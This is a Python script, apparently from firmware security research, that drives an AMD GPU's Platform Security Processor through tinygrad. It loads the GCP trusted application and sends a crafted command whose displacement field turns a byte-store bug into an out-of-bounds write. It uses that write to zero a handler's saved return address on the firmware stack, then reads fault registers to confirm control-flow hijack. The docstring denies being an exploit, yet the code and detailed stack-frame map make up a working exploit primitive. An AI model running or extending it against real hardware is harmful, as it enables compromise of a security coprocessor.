#!/usr/bin/env python3
"""Zero a saved RETURN ADDRESS on GCP's stack and look for a distinct fault signature.

This is a verification experiment for the emulator-derived stack math, not an exploit.

Build: GCP 22.0.4.50 (the 4x STRB variant of the ConfigureInitialize store).
  store: ADD.W R1,R6,#0x418 ; ADD.W R0,R1,R9 ; STRB [P+0],[P+3],[P+2],[P+1]  (R7 = 0)
  so P = params_VA + 0x418 + D, byte-granular and unaligned-capable.

Layout (rule derived from the sOS loader, validated 3/3 on hdcp/ras/dtm, then confirmed for THIS
build by staging its real container into the emulated firmware loader -- measured SP = 0x419000):
  code  [0x400000,0x407000) R-X
  data  [0x407000,0x414000) RW
  guard  0x414000
  STACK [0x415000,0x419000) RW, SP0 = 0x419000
  heap  [0x41a000,0x41e000)

Live frames during the store (gate 0x404f20 POPs then B.W -> tail call, frame dead):
  gcp_dispatch 0x403fc8  PUSH {R4,R5,R6,LR}      LR @ 0x418ffc  (main-loop return)
  dispatcher   0x402988  PUSH.W {R3-R11,LR}      LR @ 0x418fec  = 0x404053
  handler      0x402D28  PUSH.W {R3-R11,LR}      LR @ 0x418fc4  = 0x402a3b   <-- TARGET
  SP at the store = 0x418fa0

Experiment: aim the 4-byte window at P = Q = 0x418fc4, zeroing exactly the handler's saved LR
(and nothing else -- the next slot up, 0x418fc8, is the dispatcher's R3). The handler then runs to
completion and does POP {R3-R11,PC} with PC = 0. Bit0 = 0 so the CPU enters ARM state at VA 0,
which is mapped R-X PRIVILEGED-ONLY (user ---), so a user-mode fetch there must abort.

Three distinguishable outcomes, which is the point:
  * FAULT with PC/addr == 0 (or an instruction-fetch abort)  -> the store LANDED on the saved LR
    and we redirected the return. Confirms stack VA + frame arithmetic + control over a return
    address. THE EXPECTED RESULT.
  * FAULT at one of the STRBs (PC in 0x402df0..0x402e10)     -> the target was not writable;
    stack VA math wrong.
  * no fault, status 0                                       -> the store landed somewhere inert;
    math wrong in a different way (wrong slot).
A positive control runs first (store into the buffer) to prove the request shape reaches the
store and the ring is healthy, so a later fault is attributable.
"""
import struct, sys
sys.path.insert(0, '/root/psp/hw')
from tinygrad import Device
import tinygrad.runtime.autogen.am.am as am
adev = Device["AMD"].iface.dev_impl
psp = adev.psp

PARAMS_VA = 0x04013000
BASE = PARAMS_VA + 0x418
SP0 = 0x419000
HANDLER_LR_SLOT = 0x418fc4          # handler 0x402D28 saved LR (value 0x402a3b)
STORE_LO, STORE_HI = 0x402df0, 0x402e10
TA = 'ta_22-0-4-50_81b082b4'
BUFLEN = 0x8000                      # >= 0x2958 gate

def c2p(n): return getattr(adev, 'mmMP0_SMN_C2PMSG_%d' % n).read() & 0xFFFFFFFF
def frame(): return tuple(c2p(n) for n in range(82, 89))
def wide(): return {n: c2p(n) for n in range(78, 96)}

def alloc(n):
    pa = adev.mm.palloc(n, align=0x1000, zero=True, boot=False)
    return pa, adev.paddr2mc(pa)

app_pa, app_mc = alloc(0x80000)
import glob
cand = glob.glob('/root/psp/contall/%s*' % TA)
if not cand:
    raise SystemExit('TA image %s not found' % TA)
blob = open(cand[0], 'rb').read()
cp, cmc = alloc(BUFLEN)

def load():
    n = (len(blob) + 3) & ~3
    adev.vram.view(app_pa, n)[:] = blob + b'\x00' * (n - len(blob)); adev.gmc.flush_hdp()
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t = c.cmd.cmd_load_ta
    t.app_phy_addr_lo, t.app_phy_addr_hi = app_mc & 0xFFFFFFFF, app_mc >> 32
    t.app_len = len(blob)
    t.cmd_buf_phy_addr_lo, t.cmd_buf_phy_addr_hi = cmc & 0xFFFFFFFF, cmc >> 32
    t.cmd_buf_len = BUFLEN
    try:
        r = psp._ring_submit(c); return r.resp.status & 0xFFFFFFFF, r.resp.session_id
    except Exception as e:
        return -1, None

def fe09(sid, disp):
    buf = bytearray(b'\x00' * BUFLEN)
    struct.pack_into('<I', buf, 0x000, 0xFE09)
    struct.pack_into('<I', buf, 0x010, 0)                  # >>28 == 0
    for off in (0x414, 0x818):
        struct.pack_into('<I', buf, off, 0xFFFFFFFB)       # permissive limits
    struct.pack_into('<I', buf, 0x820, 1)                  # selector
    struct.pack_into('<I', buf, 0x828, disp & 0xFFFFFFFF)  # displacement -> R9
    adev.vram.view(cp, BUFLEN)[:] = bytes(buf); adev.gmc.flush_hdp()
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
    iv = c.cmd.cmd_invoke_cmd; iv.session_id, iv.ta_cmd_id = sid, 0xFE09
    try:
        return psp._ring_submit(c).resp.status & 0xFFFFFFFF
    except Exception:
        return -1

f0 = frame()
st, sid = load()
print('TA=%s load=%#x sid=%s BUFLEN=%#x' % (TA, st, sid, BUFLEN), flush=True)
print('baseline fault frame: %s' % [hex(x) for x in f0], flush=True)
if sid is None:
    raise SystemExit('load failed')

def shot(name, P, expect):
    D = (P - BASE) & 0xFFFFFFFF
    st2 = fe09(sid, D)
    fr = frame()
    faulted = (st2 == -1) or (fr != f0)
    print('\n--- %s' % name, flush=True)
    print('    P=%#x  D=%#010x  status=%s  expect: %s'
          % (P, D, ('FAULT' if st2 == -1 else hex(st2)), expect), flush=True)
    if not faulted:
        print('    NO FAULT, ring alive -> store landed on something inert', flush=True)
        return False
    pc, dfsr, fa = fr[2], fr[3], fr[4]
    print('    FAULT  pc=%#x  w3=%#x  addr=%#x' % (pc, dfsr, fa), flush=True)
    if STORE_LO <= pc <= STORE_HI:
        print('    => fault AT THE STRB: target not writable (stack math WRONG)', flush=True)
    elif pc == 0 or fa == 0:
        print('    => *** PC/addr ZERO: returned to 0 -- saved LR was overwritten.', flush=True)
        print('           stack VA + frame arithmetic CONFIRMED ***', flush=True)
    else:
        print('    => different fault signature (pc not a store, not 0) -- inspect', flush=True)
    print('    wide: %s' % {k: hex(v) for k, v in wide().items()}, flush=True)
    return True

# 1) positive control: store INTO the buffer. must land, ring stays healthy.
if shot('CONTROL: store into the buffer (params+0x200)', PARAMS_VA + 0x200,
        'no fault, status 0'):
    raise SystemExit('control faulted -- request shape or buffer wrong; abort')

# 2) the real shot: zero the handler's saved LR
shot('SHOT: zero handler saved LR @ 0x418fc4 (was 0x402a3b)', HANDLER_LR_SLOT,
     'fault with PC/addr == 0 (returned to 0)')
print('\nring: %s' % ('WEDGED' if frame() != f0 else 'alive'), flush=True)